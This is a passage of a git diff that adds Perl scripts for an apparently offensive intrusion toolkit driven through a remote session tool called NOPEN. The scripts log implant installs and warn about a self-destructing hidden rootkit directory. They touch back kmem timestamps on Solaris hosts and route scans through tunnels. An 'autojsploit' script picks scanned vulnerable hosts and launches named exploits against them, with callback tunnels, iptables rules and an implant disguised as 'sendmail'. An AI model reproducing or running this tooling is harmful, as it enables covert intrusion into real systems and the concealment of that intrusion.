($errstrings{int $errcode}) { + $errstring = $errstrings{int $errcode}; + } else { + $errstring = "UNKNOWN ERROR #: $errcode"; + } + } + } + for (my $i=0;$i<@tools;$i++) { + my ($what1,$what2) = ("DEPLOYED","Installed"); + ($what1,$what2) = ("EXERCISED","Exercised") + unless ($installtype eq "install"); + ($what1,$what2) = ("ACCESSD","Accessd") + if ($installtype eq "access"); + ($what1,$what2) = ("USED","Used") + if ($installtype eq "use"); + ($what1,$what2) = ("REMOVED","Removed") + if ($installtype eq "remove"); + $stoicinstall++ if $tools[$i] =~ /stoicsurgeon/i; + my $others = " @tools"; + $others =~ s/ $tools[$i]//; + my $toolcomment = ""; + $toolcomment = " $comments[$i]" + if (length $comments[$i]); + if ($tools[$i] =~ /straitbizarre/i and $sbguid) { + my $tmpsbguid = $toolcomment; + $tmpsbguid =~ s,-,,g; + ($tmpsbguid) = $tmpsbguid =~ /([a-f0-9]{32})/; + $toolcomment .= "guid $sbguid" unless ($sbguid eq $tmpsbguid); + } + if ($zfssnapshot) { + $zfssnapshot =~ s,([\r\n]),$1Tool Comments: ,g ; + $toolcomment .= " ZFS snapshot exists:\nTool Comments: $zfssnapshot"; + } + + my ($content,$warning) = logtool( + "$tools[$i]", + "$versions[$i]", + "$success", + "$what1", + "$toolcomment $what2 with$others $errstring", + ); + $allcontent .= $content; + $allwarning .= $warning; + } + progprint($COLOR_FAILURE. + "Finished.\n$progress\n$COLOR_NOTE\n". + "$prog just added these entries to\n". + "$hostfile:\n\n$COLOR_NORMAL".$allcontent. + "\n".$allwarning + ); + + ($output,$nopenlines,@output) + = doit("-ls $workdir/$remotename") unless $logonly; + if ($output and $success =~ /^successful/i) { + my ($ans) = offerabort + ("$COLOR_NORMAL\nPROPOSED HOSTINFO CONTENT:\n". + $newhostinfocontent."\n\n". + "$COLOR_FAILURE $output\n". + "$COLOR_NORMAL\n". + "The $remotename file still exists. This usually indicates failure,\n". + "but the output ending in :00 seemed to indicate success.\n\n". + "You can abort here and nothing will be logged to\n". + " $hostfile.\n". + "Or choose another option, which will log there:\n". + " 1) Change all statuses to \"Failed\"\n". + " C) Log it as successful anyway (really?)\n\n". + "Choose one, or", + "1","2" + ); + if ($ans eq "1") { + $newhostinfocontent =~ s/success\S+/FAILED/ig; + } + } + unless ($logonly) { + if ($stoicinstall) { + my ($elevatesuccess,$prompt,$more)=(); + if ($success =~ /^successful/i) { + my $solarismore = ""; + if ($solaristarget and $host_touchkmem) { + my ($output) = doit("-ls -n /devices/pseudo/mm\@0:kmem"); + $output =~ s,\s+, ,g; + my ($touchedback) = doit("$host_touchkmem /devices/pseudo/mm\@0:kmem") + unless ($output =~ /^$host_touchkmem/); + $solarismore = ", and the times for\n". + "/devices/pseudo/mm\@0:kmem have been manually touched back" + if ($touchedback); + } + if ($skipctrl) { + mygetinput + ("Install appears successful$solarismore! Its output was:\n\n". + " $installoutput\n\n". + "You chose to SKIP all use of Ctrl, so this window has$COLOR_FAILURE NO WAY$COLOR_NORMAL\n". + "to elevate. If you trigger on in another window, it will be elevated. You should$COLOR_FAILURE\n". + "BE VERY CAREFUL$COLOR_NORMAL in this and any unelevated windows to NOT access the hidden\n". + "directory. If you do, STOIC will self-destruct.\n\n". + "Press Enter to continue." + ); + } else { + + # On success, we set this new $ctrlfile as the right one for + # this box for remainder of op. + mystoicctrl(noprompt,$ctrlfile); + ($hiddendir,$safehiddendir,@output) = gethiddendir(force); + $elevatesuccess=0; + mygetinput("\n$COLOR_FAILURE\n". + "Install appears successful$solarismore! Its output was:\n$COLOR_NORMAL\n". + " $installoutput\n\n". + "This window remains unpriveleged. Compare this window to the one you\n ". + "get from a fresh trigger test with commands like:\n\n". + " =ps\n". + " =nsg ESTAB\n". + " -ctrl -LR\n". + "\nHit Enter to continue..."); + } + my $moresuccess=""; + if ($elevatesuccess > 0) { + $moresuccess = "\n$COLOR_SUCCESS\nSUCCESS!$COLOR_NORMAL\nSUCCESS!\n\n". + "You (and parent, if any) should be fully priveleged/hidden."; + } +# dbg("success=$success="); + } + if ($success eq "FAILED") { + $output = "$COLOR_WARNING\nFAILED!$COLOR_FAILURE\nFAILED!$COLOR_WARNING\n". + "FAILED!$COLOR_FAILURE\nFAILED!\n\n". + "Install FAILED:\n". + $installedtools; + } else { + $output = "$moresuccess\n$COLOR_SUCCESS\nSUCCESS!$COLOR_NORMAL\nSUCCESS!\n\n". + "Install complete:\n". + $installedtools; + } + } + } else { + my $which = "most recent install"; + $which = "contents of this tarball" if $logfailureball or $logsuccessball; + $output = "Logged $which ($installdir) as: $success"; + } +# progprint($output); + rmctrl(force) unless $skipctrl; + return $output; +}#end sub handle + +sub mymydie { + rmctrl(force) unless $skipctrl; + mydie(@_); +} + + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + + + ($installtype) = $0 =~ /auto(\S+)/; + + $prog = "-gs $installtype"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $linuxtarget = $nopen_serverinfo =~ /linux/i + unless $linuxtarget; + + ($solaristarget,$junk,$solaristargetversion) + = $nopen_serverinfo =~ /((sunos|solaris)\s*([\d\.]*))/i; + # Use the 2.* nomenclature for solaris, to match + # what our tarball VERSION files use. + $solaristargetversion =~ s/^5/2/g; + + $inteltarget = $nopen_serverinfo =~ /[i3456x]+86/; + + ($sparctarget) = $nopen_serverinfo =~ /((sparc|sun4[umc])\S*)/; + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=install\" is used. + +"; + { $gsusagetext=<bort?","U") ; +# $dowhat = "standalone" if ($ans =~ /^s/i) ; +# $dowhat = "upgrade" if ($ans =~ /^u/i) ; +# $dowhat = "abort" if ($ans =~ /^a/i) ; +# } + mydie("$prog aborted") if $dowhat eq "abort"; + my ($targetver) = $nopen_serverinfo =~ /([\d\.]+)/ ; + # must default to 32 bit since isainfo not on 2.6 and below + $bitver = 32 unless $bitver ; + if (open(IN,"< $opdir/.isainfo.$nopen_rhostname")) { + while () { + $bitver = 32 if /32/ ; + $bitver = 64 if /64/ ; + } + close(IN); + } + $bit32 = 1 if ($bitver == 32) ; + $bit64 = 1 if ($bitver == 64) ; + $solaris7plus = 1 if ($targetver ge "5.7") ; + if ($targetver lt "2.6" or $nopen_serverinfo =~ /86/) { + mydie("Target must be sparc solaris 5.6 - 5.9"); + } + rename("$updir/ws32","$updir/ws") + if (-e "$updir/ws32" and !-e "$updir/ws") ; + foreach $file ("ws","libsocket.so.1","th") { + mydie("$updir must contain ws, libsocket.so.1 and th to use $prog ($updir/$file)") unless + (-s "$updir/$file") ; + } + if ($bit64) { + mydie("$updir/ws64 must exist to use $prog on a 64 bit host") unless + (-s "$updir/ws64") ; + } + $itflip = "$updir/../bin/itflip" ; + $itflip = "$opbin/itflip" if (! -x $itflip and -x "$opbin/itflip") ; + mydie("Cannot find itflip2 in $opup/../bin or $opbin") + unless (-x $itflip) ; + if ($opt_t) { + @prog = split(/,/ , $opt_t) ; + ($proglist,$progegrep,$progegrepshort) = + makelists(@prog) ; + $origparms .= "-t $opt_t" ; + } + @pmapfiles = split(/\n/,`find $opdir/.pmap.$nopen_rhostname.* 2>/dev/null`); +}#myinit +sub getinput { + local($prompt,$default,@allowed) = @_; + local($ans,$tmp,%other) = (); + $other{"Y"} = "N" ; $other{"N"} = "Y" ; + if ($other{$default} and ! (@allowed)) { + push(@allowed,$other{$default}) ; + } + $tmp = $default; + if (chop($tmp) eq " ") { + #damn ^M's in script files + $default = $tmp; + } + SUB: while (1) { + print STDERR $prompt; + if ($default) { + print STDERR " [$default] "; + } else { + print STDERR " "; + } + chomp($ans = ); + $ans = $default if ( $ans eq "" ); + last SUB if ($#allowed < 0) ; + foreach ($default,@allowed) { + last SUB if $ans =~ /^$_/i ; + } + } + return $ans; +} # getinput +sub doit { + local (@cmds) = (@_) ; + foreach $cmd (@cmds) { + if ($cmd eq "#NOGS") { + print OUT ("$cmd\n"); + } else { + print OUT ("${nohist}$cmd\n"); + } + } +}#doit +sub doitlater { + # Saves off commands for later (say after upload) in global @doitlater + # If @doitlater is empty when checks are done, skip upload. + # Can skip all of @doitlater by running doitnow("NEVERMIND"); + local (@cmds) = (@_) ; + foreach $cmd (@cmds) { + push(@doitlater,"${nohist}$cmd\n"); + } +}#doitlater +sub doitnow { + # Do commands just sent first, then all of @doitlater + # and reset @doitlater to nil. + doit(@_,@doitlater) unless ($_[0] eq "NEVERMIND"); + @doitlater = () ; +}#doitnow +sub docomment { + local ($comment) = (@_) ; + doit("-lsh echo -e \"\\\\a\\\\n\\\\n$comment\\\\n\\\\n\"") if $comment ; +}#docomment +sub docommentlater { + local ($comment) = (@_) ; + doitlater("-lsh echo -e \"\\\\a\\\\n\\\\n$comment\\\\n\\\\n\"") if $comment ; +}#docommentlater +sub pause { + local ($comment) = (@_) ; + docomment($comment) if $comment; + doit("-pause Break with ^C to abort"); +}#pause +sub dbg { + warn("@_\n"); +}#dbg +sub nextpass { + # arg of -1 means do not use -p arg on next call + # arg of positive int means skip that many passes ahead + my $p = "" ; + unless ($_[0] < 0) { + my $skip = $_[0] if ($_[0] > 0) ; + my $tmp = int($pass) + $skip + 1 ; + $p = "-p $tmp"; + } + $origparms .= $needws; + doit("-lsh $opdir/etc/autojlinstantgrat $origparms $p $dowhat", + "-gs jlinstantgratnext", + ); +}#nextpass +sub checkstacks { + # returns commands to run ws if stack not executable + # also sets globals %address, %pid and %which + mydie("No pmap output files found ($opdir/.pmap.$nopen_rhostname.*)") unless + @pmapfiles ; + foreach $pmapfile (@pmapfiles) { + my ($which,$pid) = $pmapfile =~ /\.([^\.]+)\.(\d+)$/ ; + $which{$pid} = $which ; + $pid{$which} = $pid ; + my ($address,$size,$perms,@what,@dows) = () ; + open(IN,"<$pmapfile") || warn("Could not open <$pmapfile: $!") ; + while () { + s/^\s*// ; + ($address,$size,$perms,@what) = split(/\s+/) ; + $address{$pid} = $address ; + unless ($perms =~ /..x/ or $perms =~ /exec/) { + unlink("$opdir/.wsout.$nopen_rhostname.$which.$pid") unless ($pass == 4); + push(@dows, + "./ws $pid 0x$address 0x0f |tail -2 >T:$opdir/.wsout.$nopen_rhostname.$which.$pid", + ); + } + } + } + return @dows ; +}#checkstacks +sub makelists { + my $list = "@_"; + my $listegrep = "$list" ; + $listegrep =~ s/ /\|/ ; + my $listshort = "" ; + $list =~ s/ /,/g ; + foreach (@_) { + $listegrepshort .= basename($_)."|" ; + } + chop($listegrepshort) ; + return ($list,$listegrep,$listegrepshort) ; +} diff --git a/Linux/etc/autojscan b/Linux/etc/autojscan new file mode 100755 index 0000000..d8988ae --- /dev/null +++ b/Linux/etc/autojscan @@ -0,0 +1,127 @@ +#!/usr/bin/env perl +#select STDERR ; +$| = 1 ; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. +# myinit() either reads the scans files and builds a database or +# reads in the database, whichever makes sense based on file +# timestamps. +myinit() ; +# We can populate +unlink("$opetc/autojscannext.$ext"); +unlink("$opetc/autojscannext"); +$sport = ""; +$dport = ""; +$rport = " $ext";#print "RP:$rport\n"; +$rip = " 127.0.0.1";#print "RI:$rip\n"; +if($ARGV[0] eq "-t"){#print "A: -t\n"; + shift @ARGV; + $timeout = shift @ARGV; +} +elsif(($ARGV[0] eq "-h")||($ARGV[0] eq "help")){ + `$opbin/jscan -h`; + exit 1; +} +elsif($ARGV[0] eq "scans"){ + `$opbin/jscan scans`; + exit 1; +} +if(scalar(@ARGV) > 0){ + $scan = shift @ARGV; + $scantype = $scan; + $scan = " $scan";#print "S:$scan\n"; +} +else{die "invalid arguments";} +if(scalar(@ARGV) > 0){ + $target = shift @ARGV; + $target = " $target";#print "T:$target\n"; +} +else{die "invalid arguments";} +if(scalar(@ARGV) > 0){ + $dport = shift @ARGV; + $dport = " $dport";#print "DP:$dport\n"; +} +else{$dport = "";} +if(scalar(@ARGV) > 0){ + $sport = shift @ARGV; + $sport = " $sport";#print "SP:$sport\n"; +} +else{$sport = $ext+1;$sport = " $sport";} +if(scalar(@ARGV) > 0){ + die "invalid arguments"; +} + +$protocolline = `grep protocol $opbin/jscanner_pkg/scantypes/$scantype.xml`; +$portline = `grep targetPort $opbin/jscanner_pkg/scantypes/$scantype.xml`; + +#warn "PORT: $portline\n"; +if($dport eq ""){ + if($portline =~ /(\d+)/){ + $dport = " $1";#print "DP2: $dport\n" + } +} +open(OUT1,"> $opetc/autojscannext.$ext") || + mydie("cannot open $opetc/autojscannext.$ext"); + +print OUT1 "#NOGS\n" ; + +if($protocolline =~ /tcp/i){ + print OUT1 "-lsh $opbin/jscan.stun -ri $rip -rp $rport $scan $target $dport $sport -nohist\n"; + print OUT1 "-nohist -stun$target$dport$rport$sport\n"; + print OUT1 "-lsh sleep 2 -nohist\n"; +} +elsif($protocolline =~ /udp/i){ + print OUT1 "-lsh $opbin/jscan.sutun -ri $rip -rp $rport $scan $target $dport $sport -nohist\n"; + print OUT1 "-nohist -sutun$target$dport$rport$sport\n"; + #print OUT1 "-lsh sleep 5 -nohist\n"; +} +else{die "invalid scan type";} +close OUT1; +`ln -s $opetc/autojscannext.$ext $opetc/autojscannext`; + +sub usage { + open(OUT,">> $opetc/autojscannext"); + print OUT ("#NOGS\n") ; + close(OUT); + print "\nFATAL ERROR: @_\n" if ( @_ ); + $usagetext = $gsusagetext if ($nopen_mypid) ; + print $usagetext unless $opt_v ; + print $vertext ; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +} # end sub usage + +sub myinit { + use File::Basename ; + require "getopts.pl"; + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $prog = basename $0 ; + $vertext = "$prog version $VER\n" ; + if (@ARGV) { + foreach (@ARGV) { + # quietly throw away any args not IPs + $calledfromautosploit++ if ($_ eq "FROMAUTOSPLOIT") ; + $calledfromautoscans++ if ($_ eq "FROMAUTOSCANS") ; + } + chop($gsoptions) ; # remove extra space + } else { + $gsoptions = $ENV{GSOPTIONS} ; + } + mydie("bad option(s)") if (! Getopts( "hv" ) ) ; + $| = 1; + $nopen_mypid = $ENV{NOPEN_MYPID} ; + $nopen_mylog = $ENV{NOPEN_MYLOG} ; + $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; + $opdir = "/current" ; + $opbin = "$opdir/bin" ; + $opetc = "$opdir/etc" ; + $opdown = "$opdir/down" ; + $workdir = "/tmp/.scsi" ; + $ratname = "sendmail" ; +} #myinit + diff --git a/Linux/etc/autojsploit b/Linux/etc/autojsploit new file mode 100755 index 0000000..e511e4f --- /dev/null +++ b/Linux/etc/autojsploit @@ -0,0 +1,685 @@ +#!/usr/bin/env perl +# +# TODO: If we go back to callFORWARDs: +# add to didthis for successful exploits +# if multiple attempts, subsequent ones use port from didthis if there. + + +## TODO FIX STDERR OUTPUT NOT ALL YS SHOWN BEFORE PROMPT... + +## PROBLEM: After first build of db, running a gs exploit runs an empty scripme: +## [7793] Task (ARCH= TARGETIP=555.1.3.18 ) +## Not sure why. +## FIX: Ok, then build AND read the database the first time. +## + + +$VER="1.5.1.2" ; +# nopen seems happier with stderr in lsh runs +# or does it? put it after usage now +#select STDERR ; +$| = 1 ; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. +# myinit() either reads the scans files and builds a database or +# reads in the database, whichever makes sense based on file +# timestamps. +myinit() ; +# We can populate +unlink("$opetc/autojsploitnext.$ext") ; +open(OUT1,"> $opetc/autojsploitnext.$ext") || + mydie("cannot open $opetc/autojsploitnext.$ext"); +print OUT1 "#NOGS\n" ; +print OUT1 "-lsh mv $opetc/autojsploitnext $opetc/autojsploitnext.last.\$\$ 2>/dev/null\n"; +unless ($calledfromautoscans or $scannedtargets) { + $what = "broadcast(s)" ; + if ($gsoptions) { + $what = " $gsoptions\nand maybe $what" ; + } + $_ = getinput("No targets scanned yet. Scan $what with brpc,rpc,xwin,mibiisa?","Y"); + if (/^y/i) { + print OUT1 "-lcd /current/down\n" ; + print OUT1 "-gs scans $gsoptions FROMAUTOSPLOIT\n"; + } else { + print OUT1 "# BAILING $prog $gsoptions\n"; + } + close(OUT1); + rename("$opetc/autojsploitnext.$ext","$opetc/autojsploitnext"); + exit ; +} +mydie("No scans to parse in $opdown/cmdout/scans*") unless ($scannedtargets); +mydie("No vulnerable hosts found in $opdown/cmdout/scans*") unless (@vulnerabletargets); + +`rm -f /tmp/scripme.after.*` ; +# If @ARGV is set it is via environment variable gsoptions from +# the -gs jsploit target1 target2 line and provides the target IPs +# from the user. +$_ = $gsoptions ; +foreach (split) { + if ($vulnerabletargets{$_}) { + push(@dotargets,$_); + } else { + if ($scannedtargets{$_}) { + progprint("Ignoring $_: This IP has responded to scans but is not vulnerable yet.",$COLOR_FAILURE) ; + } elsif (!$calledfromautoscans and !$broadcasts{$_} and !$scannednow{$_}) { # just ignore broadcasts here + $ans = getinput("\n\n$_ has not yet been scanned. Scan it now?","Y") ; + if ($ans =~ /y/i) { + $scanips .= " $_" ; + $scannednow{$_}++; } + } + } +} +if ($scanips) { +# if (@dotargets) { +# progprint("\n\nSkipping these vulnerable targets for now:\n@dotargets \n\n". +# "you need to re-sploit them later.", +# $COLOR_FAILURE) ; +# } + print OUT1 "-gs scans $scanips FROMAUTOSPLOIT\n"; +# no don't do this next - gs.scans will sploit them +# print OUT1 "-gs jsploit $scanips @dotargets\n" unless $calledfromautoscans ; + close(OUT1); + rename("$opetc/autojsploitnext.$ext","$opetc/autojsploitnext"); + exit ; +} +unless (@dotargets) { + if (@vulnerabletargets == 1) { + @dotargets = @vulnerabletargets ; + } else { + $_ = getinput("\nEnter IP(s) to sploit, whitespace delimited: ") ; + foreach (split) { + if ($nopen_rhostname =~ /\.$_$/) { + progprint("Ignoring $_: Not going to whack self.",$COLOR_FAILURE) ; + next; + } + # throw away any args not IPs + if (ipcheck($_)) { + if ( $vulnerabletargets{$_}) { + push(@dotargets,$_) ; + } else { + progprint("Ignoring $_: scanned but not a vulnerable IP",$COLOR_FAILURE) ; + } + } else { + progprint("Ignoring $_: not a valid IP",$COLOR_FAILURE) ; + } + } + } +} +if (@dotargets == 1) { + $thereisonlyonetarget++ ; + $against = " against $dotargets[0]" ; +} +foreach $target (@dotargets) { + $loopedonce++ ; + @sploits = () ; + push(@sploits,"BS") if ($sploits{$target} =~ /BS/) ; + push(@sploits,"YS") if ($sploits{$target} =~ /YS/) ; + push(@sploits,"GS") if ($sploits{$target} =~ /GS/) ; + push(@sploits,"CM") if ($sploits{$target} =~ /CM/) ; + print "$COLOR_FAILURE" ; + foreach $sploit (@sploits) { + print($prompt{$target.$sploit}."\n") ; + } + print "$COLOR_NORMAL\n\n" ; + $vulnerablecount++ if (@sploits) ; +} +select STDERR ; +unless ($loopedonce) { + progprint("No vulnerable targets provided--bailing.",$COLOR_FAILURE); +} else { + unless ($vulnerablecount) { + if (@dotargets > 1) { + progprint("These targets are not vulnerable: @dotargets",$COLOR_FAILURE) ; + } else { + progprint("This target is not vulnerable: @dotargets",$COLOR_FAILURE) ; + } + # do not exit here--allow dropping through to rename autonext + @dotargets = () ; + } else { + progprint("\n\nOne or more windows per target/sploit chosen will pop up.\n\n") ; + } +} +TARGET: foreach $target (@dotargets) { + @sploits = () ; + push(@sploits,"BS") if ($sploits{$target} =~ /BS/) ; + push(@sploits,"YS") if ($sploits{$target} =~ /YS/) ; + push(@sploits,"GS") if ($sploits{$target} =~ /GS/) ; + push(@sploits,"CM") if ($sploits{$target} =~ /CM/) ; + progprint("\nYou have a choice against $target: @sploits") if (@sploits > 1) ; + foreach $sploit (@sploits) { + $targetsploit = $target.$sploit ; + my $after = "" ; + next if $doneit{$targetsploit}++ ; + if ( $thereisonlyonetarget or @sploits > 1 ) { + if ($thereisonlyonetarget and @sploits == 1 ) { + progprint("\nYou have exactly one shot$against: $sploit against $target.",$COLOR_FAILURE); + } + my $ans = getinput("\n\nDo you want to try $sploit on $target? (Yes,No,Done)","N","Y","D") ; + last TARGET if ($ans =~ /^d/i) ; + next unless ($ans =~ /^y/i) ; + } + progprint("Sploiting: $target with $sploit") ; + $sploitingsome++ ; + chomp($tmpport = `mkrandom -n 2>/dev/null`) ; + if (open(OUT2,"> /tmp/scripme.after.$$.$sploit.$target")) { + print OUT2 "REMINDER: At some point, if the call back works, try a call forward. +Pastables using a random for call forward (in two different windows, on different hosts): + +-listen pick-your-port + +-nstun $target pick-your-port +" ; + close OUT2 ; + $after="AFTERNOTE=\"/tmp/scripme.after.$$.$sploit.$target\"" ; + } + my $exploit = "" ; + $exploit = "ARCH=$arch{$targetsploit} TARGETIP=$target $sploitstr{$targetsploit}" ; + $hostname{$target} or $hostname{$target} =$xhostname{$target} ; + + print OUT1 "-lsh $after EXPLOIT_SCRIPME=\"$exploit\" ". + "scripme -X \"-geometry 90x64\" -F -t ${sploit}EXPLOIT.$hostname{$target}.$target 2>&1\n"; + } # end foreach $sploit +} # end foreach $target +select STDOUT ; +if ($sploitingsome) { + if (-s "$opbin/.tunnelport") { + # already have .tunnelport - use it + if (open(IN2,"< $opbin/.tunnelport")) { + chomp($tunnelport=) ; + close(IN2); + } + if (`netstat -an | grep udp.*:$tunnelport`) { + mydie("CANNOT PROCEED: Another -sploit must be running and\n". + "\"-tunnel $tunnelport udp\" is already underway."); + } + unless ($tunnelport > 0 and $tunnelport < 65534) { + $tunnelport = 0 ; + unlink("$opbin/.tunnelport"); + } + } + until ($tunnelport > 0 and $tunnelport < 65534 and + ! `netstat -an | grep udp.*:$tunnelport`) { + chomp($tunnelport = `mkrandom -n 38700 38800`); + } + if (open(OUT2,"> $opbin/.tunnelport")) { + print OUT2 "$tunnelport\n"; + close(OUT2); + } + progprint("Setting up -tunnel $tunnelport udp.\n$COLOR_FAILURE\n". + "Use \"stattunnel\" at a command line or with -lsh to see the current tunnel statistics,\n". + "and \"closetunnel\" when done with all exploits using the tunnel.\n\n") ; + + print OUT1 + ( + "# running $opetc/autojsploitnext on $nopen_rhostname output in $nopen_mylog\n". + "-lsh echo -e \"\\\\n\\\\n\\\\nSetting up tunneling on port $tunnelport\\\\n\\\\nClose tunnel with this (locally, in another window) when done:\\\\n\\\\n/current/bin/closetunnel\\\\n\\\\n\"\n". + "-tunnel $tunnelport udp\n" + ) ; + if (open(OUT2,"> $opbin/closetunnel")) { + print OUT2 <<"EOF"; +#!/bin/sh +PORT=\$1 +[ "\$PORT" ] || PORT=\`cat $opbin/.tunnelport\` +[ "\$PORT" ] || PORT=18787 +echo 'echo "c 1 2 3 4 5 6 7" | nc -w1 -u 127.0.0.1' \$PORT +echo 'echo "q" | nc -w1 -u 127.0.0.1' \$PORT +echo "c 1 2 3 4 5 6 7" | nc -w1 -u 127.0.0.1 \$PORT +echo "q" | nc -w1 -u 127.0.0.1 \$PORT +EOF + } + close(OUT2) ; + if (open(OUT2,"> $opbin/stattunnel")) { + print OUT2 <<"EOF"; +#!/bin/sh +PORT=\$1 +[ "\$PORT" ] || PORT=\`cat $opbin/.tunnelport\` +[ "\$PORT" ] || PORT=$tunnelport +[ "\$PORT" ] || PORT=18787 +echo 'echo "s" | nc -w1 -u 127.0.0.1' \$PORT +echo "s" | nc -w1 -u 127.0.0.1 \$PORT +EOF + } + close(OUT2) ; + if (open(OUT2,"> $opbin/dotunnel")) { + print OUT2 <<"EOF"; +#!/bin/sh +LINE=\${*} +[ "\$PORT" ] || PORT=\`cat $opbin/.tunnelport\` +[ "\$PORT" ] || PORT=$tunnelport +[ "\$PORT" ] || PORT=18787 +if [ "\$LINE" ] ; then + echo echo \"\$LINE\" '| nc -w1 -u 127.0.0.1' \$PORT + echo "\$LINE" | nc -w1 -u 127.0.0.1 \$PORT +else + echo 'echo "s" | nc -w1 -u 127.0.0.1' \$PORT + echo "s" | nc -w1 -u 127.0.0.1 \$PORT +fi +EOF + } + close(OUT2) ; + `chmod 755 $opbin/*tunnel` ; + unless (`iptables -L -n -v | grep $tunnelport`) { + `iptables -A INPUT --in-interface lo --proto udp --destination-port $tunnelport -j ACCEPT` ; + `iptables -A INPUT --proto udp --destination-port $tunnelport -j REJECT` ; + } + progprint("These iptables rules will only allow the lo interface to hit this port:".`iptables -L -n -v`) ; +} # if ($sploitingsome) + +close(OUT1); + +# must always do these +# following is first time autojsploitnext is used without $$ extension--fewer collisions? +rename("$opetc/autojsploitnext.$ext","$opetc/autojsploitnext"); + +sub mywarn { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_WARNING unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# local (@stuff) = (@_,$hopping) ; + warn "${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL\n" ; +# warn "\n${COLOR_WARNING}\a@_$COLOR_NORMAL\n" ; +} + +sub mydie { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# local (@stuff) = (@_,$hopping) ; + warn "${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL\n" ; +#"\n${COLOR_FAILURE}\a$what $hopping$COLOR_NORMAL\n" ; + exit 1; +} + +sub usage { + unlink("$opetc/autojsploitnext"); + open(OUT,">> $opetc/autojsploitnext"); + print OUT ("#NOGS\n") ; + close(OUT); + print "\nFATAL ERROR: @_\n" if ( @_ ); + $usagetext = $gsusagetext if ($nopen_mypid) ; + print $usagetext unless $opt_v ; + print $vertext ; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +} # end sub usage + +sub myinit { + use File::Basename ; + require "getopts.pl"; + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $prog = basename $0 ; + $vertext = "$prog version $VER\n" ; + if (@ARGV) { + foreach (@ARGV) { + # quietly throw away any args not IPs + $gsoptions .= "$_ " if (ipcheck($_)) ; + $calledfromautosploit++ if ($_ eq "FROMAUTOSPLOIT") ; + $calledfromautoscans++ if ($_ eq "FROMAUTOSCANS") ; + } + chop($gsoptions) ; # remove extra space + } else { + $gsoptions = $ENV{GSOPTIONS} ; + } + mydie("bad option(s)") if (! Getopts( "hvR" ) ) ; + $| = 1; + $nopen_mypid = $ENV{NOPEN_MYPID} ; + $nopen_mylog = $ENV{NOPEN_MYLOG} ; + $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; + $opdir = "/current" ; + $opbin = "$opdir/bin" ; + $opetc = "$opdir/etc" ; + $opdown = "$opdir/down" ; + $workdir = "/tmp/.scsi" ; + $ratname = "sendmail" ; + if (-s "$opdown/cmdout/jscans.$nopen_rhostname") { + $scanfile = "$opdown/cmdout/jscans.$nopen_rhostname" ; + $dbfile = "$opdown/cmdout/jscans.$nopen_rhostname.db" ; + } else { + $scanfile = "$opdown/cmdout/scans" ; + $dbfile = "$opdown/cmdout/jscans.db" ; + } + if (-s $dbfile) { + my $dbage = -M $dbfile ; + my $scanage = -M $scanfile ; + $gotdb++ if ( $dbage < $scanage) ; + } + @broadcasts = split(/\n/,`grep "Broadcast" /current/down/hostinfo.$nopen_rhostname 2>/dev/null | awk '{print \$7}'`) ; + $broadcasts{$_}++ foreach (@broadcasts) ; + $gsusagetext=" +Usage: -gs jsploit [-h] [ IP1 [ IP2 ... ] ] + + -h This usage statement. + -R Rebuild the jscans.$nopen_rhostname.db file + (automatic if new scans have been done). + +-gs jsploit calls $opetc/autosploit [ IP1 [ IP2 ... ] ]. + +* If no IPs are given, all scanned IPs that may be vulnerable may be + sploited, depending on your answers to the prompts given. + +* If one or more IPs are provided, those are the hosts sploited. + +* If no scans have yet been done, you are asked whether you wish to + scan the broadcast address(es) (as well as any IPs provided) with + these: brpc, rpc, xwin and mibiisa. + +Before an IP can be sploited, it must have BOTH answered one or more +scans, AND those results must indicate the host could be vulnerable. + +The file $scanfile is parsed +into $dbfile, containing +the necessary data to proceed with sploits against IPs vulnerable to +the exploits this script is aware of (currently BS, YS and GS). If the +.db file is older than the scans file, the database is rebuilt. + +"; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"-gs jsploit\" is used. +See \"-gs jsploit -h\" for more help. + +"; + usage() if ($opt_h or $opt_v) ; + $rebuilddb = $opt_R ; + progprint("Called as: $0 @ARGV\n\n"); +# mydie("No user servicable parts inside.\n". +# "(I.e., noclient calls $prog, not you.)\n". +# "$vertext") unless $nopen_rhostname; + if ($nopen_rhostname) { + $calledfromnopen=1 ; + } else { + $calledfromnopen=0 ; + } + @scannedtargets = split(/\n/,`jparsescan -f $scanfile`) ; + $scannedtargets = @scannedtargets ; + if ($scannedtargets) { + if (!$gotdb or $rebuilddb) { + builddb() ; +#die("DBG: Check the .db file"); + } + readdb() ; + } +} #myinit + +sub progprint { + local ($what,$color,$color2,$what2) = (@_) ; + local $newlines ; + $color = $COLOR_NOTE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# select STDERR ; + while (substr($what,0,1) eq "\n") { + $newlines .= "\n"; + $what = substr($what,1) ; + } + $| = 1; + print "$newlines${color2}${prog}[$$]$what2: 